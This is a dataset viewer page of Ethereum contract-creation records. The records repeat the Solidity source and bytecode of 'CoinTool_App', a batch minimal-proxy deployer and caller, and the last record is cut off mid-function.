Search is not available for this dataset
chain_id
uint64 1
1
| block_number
uint64 19.5M
20M
| block_hash
stringlengths 64
64
| transaction_hash
stringlengths 64
64
| deployer_address
stringlengths 40
40
| factory_address
stringlengths 40
40
| contract_address
stringlengths 40
40
| creation_bytecode
stringlengths 0
98.3k
| runtime_bytecode
stringlengths 0
49.2k
| creation_sourcecode
stringlengths 0
976k
|
|---|---|---|---|---|---|---|---|---|---|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
5caebe4afdd4c108ee8d26e9202ab12eaf0f7be6
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
e0214fd939d4e89d0a3593b307ff733bc8c8f5e9
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
ffbcc623b7e4ee1ae9011b66938c7a5757365953
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
02cf02d6c68e4c55aeaf1fa2f2c517ac8e9a1097
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
cfd67ee4b8a563f632d6ba81819c72140a3bc5df
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
f749bbe70928b4427d4955b06345ee9bb1695064
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
5a2f6ea9174f98cdbe44729d8f69fe896b84e1bb
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
